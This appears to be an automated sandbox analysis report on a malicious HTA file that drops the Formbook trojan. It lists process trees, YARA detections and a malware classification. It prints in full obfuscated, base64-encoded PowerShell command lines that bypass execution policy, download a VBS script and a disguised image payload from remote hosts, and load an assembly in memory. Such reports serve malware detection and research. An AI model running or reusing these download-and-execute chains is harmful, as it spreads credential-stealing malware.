Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051CFCF2	12_2_051CFCF2
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051CFF09	12_2_051CFF09
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05130F30	12_2_05130F30
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05152F28	12_2_05152F28
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05184F40	12_2_05184F40
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05111F92	12_2_05111F92
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051CFFB1	12_2_051CFFB1
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05102FC8	12_2_05102FC8
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0511CFE0	12_2_0511CFE0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051CEE26	12_2_051CEE26
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05110E59	12_2_05110E59
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05122E90	12_2_05122E90
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051CCE93	12_2_051CCE93
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05119EB0	12_2_05119EB0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051CEEDB	12_2_051CEEDB
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05119950	12_2_05119950
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0512B950	12_2_0512B950
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05126962	12_2_05126962
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051129A0	12_2_051129A0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051DA9A6	12_2_051DA9A6
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0517D800	12_2_0517D800
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05112840	12_2_05112840
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0511A840	12_2_0511A840
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_050F68B8	12_2_050F68B8
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0513E8F0	12_2_0513E8F0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051138E0	12_2_051138E0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051CAB40	12_2_051CAB40
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051CFB76	12_2_051CFB76
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0512FB80	12_2_0512FB80
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051C6BD7	12_2_051C6BD7
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05185BF0	12_2_05185BF0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0514DBF9	12_2_0514DBF9
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051CFA49	12_2_051CFA49
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051C7A46	12_2_051C7A46
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05183A6C	12_2_05183A6C
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0510EA80	12_2_0510EA80
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05155AA0	12_2_05155AA0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051ADAAC	12_2_051ADAAC
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051BDAC6	12_2_051BDAC6
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_03221780	12_2_03221780
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0323B240	12_2_0323B240
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0321C707	12_2_0321C707
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0321C710	12_2_0321C710
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0321C930	12_2_0321C930
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0321A9B0	12_2_0321A9B0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_03222FC0	12_2_03222FC0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_03224DE0	12_2_03224DE0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_04FEE493	12_2_04FEE493
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_04FEE375	12_2_04FEE375
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_04FED898	12_2_04FED898
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_04FEE82C	12_2_04FEE82C
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_04FECB38	12_2_04FECB38
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 14_2_058F5C9E	14_2_058F5C9E
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 14_2_058D540E	14_2_058D540E
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 14_2_058DC1DE	14_2_058DC1DE
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 14_2_058D716E	14_2_058D716E
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 14_2_058D7165	14_2_058D7165
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 14_2_058DF83E	14_2_058DF83E
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 14_2_058D738E	14_2_058D738E
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 14_2_058DDA1E	14_2_058DDA1E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 0154B970 appears 266 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 015A7E54 appears 88 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 015CEA12 appears 84 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 01595130 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 015DF290 appears 105 times
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: String function: 0518F290 appears 105 times
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: String function: 050FB970 appears 268 times
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: String function: 0517EA12 appears 86 times
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: String function: 05145130 appears 36 times
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: String function: 05157E54 appears 96 times

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: Commandline size = 2041
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Commandline size = 2008
Source: C:\Windows\SysWOW64\mshta.exe	Process created: Commandline size = 2041	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Commandline size = 2008	Jump to behavior

Source: 10.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 10.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3294394478.0000000004EE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.2519525934.0000000002D00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.2501710464.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3294304837.0000000004E90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.2704949585.0000000004F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000E.00000002.3296102797.0000000005890000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 1096, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 15.2.firefox.exe.2a59cd14.0.raw.unpack, caspol.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 15.2.firefox.exe.2a59cd14.0.raw.unpack, caspol.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 14.2.xwZkSdnVCDBnu.exe.345cd14.1.raw.unpack, caspol.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 14.2.xwZkSdnVCDBnu.exe.345cd14.1.raw.unpack, caspol.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 12.2.ieUnatt.exe.56fcd14.2.raw.unpack, caspol.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 12.2.ieUnatt.exe.56fcd14.2.raw.unpack, caspol.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 14.0.xwZkSdnVCDBnu.exe.345cd14.1.raw.unpack, caspol.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 14.0.xwZkSdnVCDBnu.exe.345cd14.1.raw.unpack, caspol.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.phis.troj.spyw.expl.evad.winHTA@22/17@7/6

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\simplecookiebiscutwithsweetnessforentiretime[1].tiff

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2924:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jyueunha.q0j.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplecookiebiscutwithsweetnessforentir.vbS"

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ieUnatt.exe, 0000000C.00000002.3292845378.00000000034F0000.00000004.00000020.00020000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3292845378.00000000034C2000.00000004.00000020.00020000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3292845378.00000000034CD000.00000004.00000020.00020000.00000000.sdmp, ieUnatt.exe, 0000000C.00000003.2694309919.00000000034C2000.00000004.00000020.00020000.00000000.sdmp, ieUnatt.exe, 0000000C.00000003.2694185524.00000000034A1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta	Virustotal: Detection: 33%
Source: goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta	ReversingLabs: Detection: 23%

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC568.tmp" "c:\Users\user\AppData\Local\Temp\j4tmsurx\CSCD8A49667F2D248CBA423D29C56F4A9D.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplecookiebiscutwithsweetnessforentir.vbS"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $claustrophobe = 'JGF1dG9zYXZlID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGNoZW1vdHJvcGlzbSA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHF1ZWVmID0gJGNoZW1vdHJvcGlzbS5Eb3dubG9hZERhdGEoJGF1dG9zYXZlKTskcHVua2xpbmcgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVlZWYpOyR0dWJlcmN1bG9waG9iaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGZlbXRvY291bG9tYiA9ICc8PEJBU0U2NF9FTkQ+Pic7JHVudGhyaWZ0eSA9ICRwdW5rbGluZy5JbmRleE9mKCR0dWJlcmN1bG9waG9iaWEpOyRoYW1tYW0gPSAkcHVua2xpbmcuSW5kZXhPZigkZmVtdG9jb3Vsb21iKTskdW50aHJpZnR5IC1nZSAwIC1hbmQgJGhhbW1hbSAtZ3QgJHVudGhyaWZ0eTskdW50aHJpZnR5ICs9ICR0dWJlcmN1bG9waG9iaWEuTGVuZ3RoOyRwZXRyb2RvbGxhciA9ICRoYW1tYW0gLSAkdW50aHJpZnR5OyRkYXN5YXRpZGFlID0gJHB1bmtsaW5nLlN1YnN0cmluZygkdW50aHJpZnR5LCAkcGV0cm9kb2xsYXIpOyRkaWdpdGFsaXNpbmcgPSAtam9pbiAoJGRhc3lhdGlkYWUuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGRhc3lhdGlkYWUuTGVuZ3RoKV07JHVuaWRlYWxpemVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZGlnaXRhbGlzaW5nKTskY29tbWVuZGluZyA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHVuaWRlYWxpemVkKTskamFwb25pY2FzID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGphcG9uaWNhcy5JbnZva2UoJG51bGwsIEAoJzAvY3VWREUvci9lZS5ldHNhcC8vOnNwdHRoJywgJyRjb25maWRlbnRpYWxpdHknLCAnJGNvbmZpZGVudGlhbGl0eScsICckY29uZmlkZW50aWFsaXR5JywgJ0Nhc1BvbCcsICckY29uZmlkZW50aWFsaXR5JywgJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJzEnLCckY29uZmlkZW50aWFsaXR5JykpOw==';$uninverted = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($claustrophobe));Invoke-Expression $uninverted
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Process created: C:\Windows\SysWOW64\ieUnatt.exe "C:\Windows\SysWOW64\ieUnatt.exe"
